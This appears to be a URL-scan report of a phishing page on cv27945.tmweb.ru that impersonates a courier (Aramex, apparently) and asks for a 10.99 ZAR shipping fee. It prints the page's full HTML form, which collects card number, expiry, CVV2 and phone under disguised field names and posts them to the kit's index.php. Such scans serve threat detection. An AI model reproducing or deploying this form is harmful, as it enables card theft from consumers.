cv27945.tmweb.ru
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Submitted URL: https://cv27945.tmweb.ru/ErhYZRVv/?pwd=aramex
Effective URL: https://cv27945.tmweb.ru/ErhYZRVv/clients/card.php?verification
Submission: On May 26 via manual from IN — Scanned from DE
Effective URL: https://cv27945.tmweb.ru/ErhYZRVv/clients/card.php?verification
Submission: On May 26 via manual from IN — Scanned from DE
Form analysis 1 forms found in the DOM
POST ../index.php
<form action="../index.php" enctype="multipart/form-data" method="post">
<input type="hidden" name="step" value="card">
<input type="hidden" name="credit_card">
<div id="divShowError" style="text-align:center; margin: 0 auto; color: red;">
<br>
</div>
<div class="container">
<div class="divFormsFonts" style="border: 1px solid black;">
<div style="border: 1px solid black;">
<fieldset class="fieldsetForm100Percent">
<legend style="text-align:center;">Shipment Informations</legend>
<div class="row col-md-12 align-items-center">
<div class="col-md-5">
<label class="col-form-label">Shipment Tracking Number</label>
</div>
<div class="col-md-7">
<input class="divFormsTextBoxLargerF2 text-box single-line" style="background-color: lightgray;" readonly="" value="AR5477SA46ZA" id="trading_name" name="trading_name" required="required" type="text">
<span class="field-validation-valid text-danger" data-valmsg-for="trading_name" data-valmsg-replace="true"></span>
</div>
</div>
<div class="row col-md-12 align-items-center">
<div class="col-md-5">
<label class="col-form-label">Shipping country</label>
</div>
<div class="col-md-7">
<input class="divFormsTextBoxLargerF2 text-box single-line" style="background-color: lightgray;" readonly="" value="South Africa" id="trading_name" name="trading_name" required="required" type="text">
<span class="field-validation-valid text-danger" data-valmsg-for="trading_name" data-valmsg-replace="true"></span>
</div>
</div>
<div class="row col-md-12 align-items-center">
<div class="col-md-5">
<label class="col-form-label">Shipping fees</label>
</div>
<div class="col-md-7">
<input class="divFormsTextBoxLargerF2 text-box single-line" style="background-color: lightgray;" readonly="" value="10.99 ZAR" id="registered_name" name="registered_name" required="required" type="text">
<span class="field-validation-valid text-danger" data-valmsg-for="registered_name" data-valmsg-replace="true"></span>
</div>
</div>
<br>
<div style="border-top: 1px solid black; border-bottom: 1px solid black; padding-bottom: 10px;">
<div style="border-top: 1px solid black; border-bottom: 1px solid black; padding-bottom: 10px; padding-top:10px;">
<fieldset>
<legend style="text-align:center;">Payment details</legend>
<div class="row col-md-12 align-items-center">
<div class="col-md-5">
<label class="col-form-label">Card Holder*</label>
</div>
<div class="col-md-7">
<input required="" class="divFormsTextBoxLargerF2 text-box single-line" placeholder="Full Name" id="trade_ref_company_name_first" name="000" type="text" value="">
<span class="field-validation-valid text-danger" data-valmsg-for="trade_ref_company_name_first" data-valmsg-replace="true"></span>
</div>
</div>
<div class="row col-md-12 align-items-center">
<div class="col-md-5">
<label class="col-form-label">Card number*</label>
</div>
<div class="col-md-7">
<input required="" maxlength="19" class="divFormsTextBoxLargerF2 text-box single-line" placeholder="5XXX XXXX XXXX XXXX" id="trade_ref_contact_person_first" name="001" type="text" value="">
<span class="field-validation-valid text-danger" data-valmsg-for="trade_ref_contact_person_first" data-valmsg-replace="true"></span>
</div>
</div>
<div class="row col-md-12 align-items-center">
<div class="col-md-5">
<label class="col-form-label">Expiry date*</label>
</div>
<div class="col-md-7">
<input required="" maxlength="7" class="divFormsTextBoxLargerF2 text-box single-line" placeholder="MM/YYYY" data-val="true" data-val-number="The field trade_ref_credit_limit_first must be a number."
data-val-required="The trade_ref_credit_limit_first field is required." id="trade_ref_credit_limit_first" name="002" type="text" value="">
<span class="field-validation-valid text-danger" data-valmsg-for="trade_ref_credit_limit_first" data-valmsg-replace="true"></span>
</div>
</div>
<div class="row col-md-12 align-items-center">
<div class="col-md-5">
<label class="col-form-label">Card Security Code (CVV2)*</label>
</div>
<div class="col-md-7">
<input maxlength="3" required="" class="divFormsTextBoxLargerF2 text-box single-line" placeholder="xxx" data-val="true" data-val-number="The field trade_ref_credit_limit_first must be a number."
data-val-required="The trade_ref_credit_limit_first field is required." id="trade_ref_credit_limit_first" name="003" type="text" value="">
<span class="field-validation-valid text-danger" data-valmsg-for="trade_ref_credit_limit_first" data-valmsg-replace="true"></span>
</div>
</div>
<div class="row col-md-12 align-items-center">
<div class="col-md-5">
<label class="col-form-label">Telephone Number*</label>
</div>
<div class="col-md-7">
<input maxlength="15" required="" class="divFormsTextBoxLargerF2 text-box single-line" id="trade_ref_tel_no_first" name="004" type="text" value="+27">
<span class="field-validation-valid text-danger" data-valmsg-for="trade_ref_tel_no_first" data-valmsg-replace="true"></span>
</div>
</div>
</fieldset>
</div>
<div style="border-bottom: 1px solid black; padding-bottom: 10px; padding-top:10px;">
<fieldset style="text-align:center;" class="fieldsetForm100Percent">
<legend>Terms and Conditions</legend>
<div class="row col-md-12 align-items-center">
<div style="text-align:center;" class="col-md-5">
<label class="col-form-label">Do you accept the Terms and conditions?</label>
</div>
<div class="col-auto col-md-1">
<div class="input-group">
<div class="input-group-text">
<span class="input-group-text" style="height: 20px; border: 0;">Yes</span>
<input id="rbTerms" name="rbTerms" required="" value="Yes" type="radio" class="form-check-input mt-0">
</div>
</div>
</div>
<div class="col-auto col-md-1 pl-1">
<div class="input-group">
<div class="input-group-text">
<span class="input-group-text" style="height: 20px; border: 0;">No</span>
<input id="rbTerms" name="rbTerms" required="" value="No" type="radio" class="form-check-input mt-0">
</div>
</div>
</div>
</div>
<table class="divFormsTable">
<tbody>
<tr>
<td style="width:40%">
<a href="./Public/images/Shared/Terms2.pdf" target="_blank">Click here for Terms & Conditions</a>
</td>
</tr>
</tbody>
</table>
</fieldset>
</div>
<div class="row pt-2">
<div class="col-md-12 text-center">
<input type="submit" value="Pay Now" class="btn btn-default" style="text-align: center; background-color: #dc291e;">
</div>
</div>
</div>
</fieldset>
</div>
<script type="text/javascript">
$(function() {
$(document).ready(function() {
document.getElementById('txtDateFrom').setAttribute("autocomplete", "pj");
document.getElementById('txtDateOpened').setAttribute("autocomplete", "pj");
document.getElementById('txtInvoiceDateFrom').setAttribute("autocomplete", "pj");
/*document.getElementById('kc_date').setAttribute("autocomplete", "pj");*/
});
var endYear = new Date().getFullYear();
$('#txtDateFrom').datepicker({
changeMonth: true,
changeYear: true,
yearRange: '1921:' + endYear
});
$('#txtDateOpened').datepicker({
changeMonth: true,
changeYear: true,
yearRange: '1921:' + endYear
});
$('#txtInvoiceDateFrom').datepicker({
changeMonth: true,
changeYear: true,
yearRange: '1921:' + endYear
});
/*$('#kc_date').datepicker();*/
});
</script>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-/bQdsTh/da6pkI1MST/rWKFNjaCP5gBSY4sEBT38Q/9RBh9AH40zEOg7Hlq2THRZ" crossorigin="anonymous"></script>
</div>
</form>Text Content
Shipment Informations Shipment Tracking Number Shipping country Shipping fees Payment details Card Holder* Card number* Expiry date* Card Security Code (CVV2)* Telephone Number* Terms and Conditions Do you accept the Terms and conditions? Yes No Click here for Terms & Conditions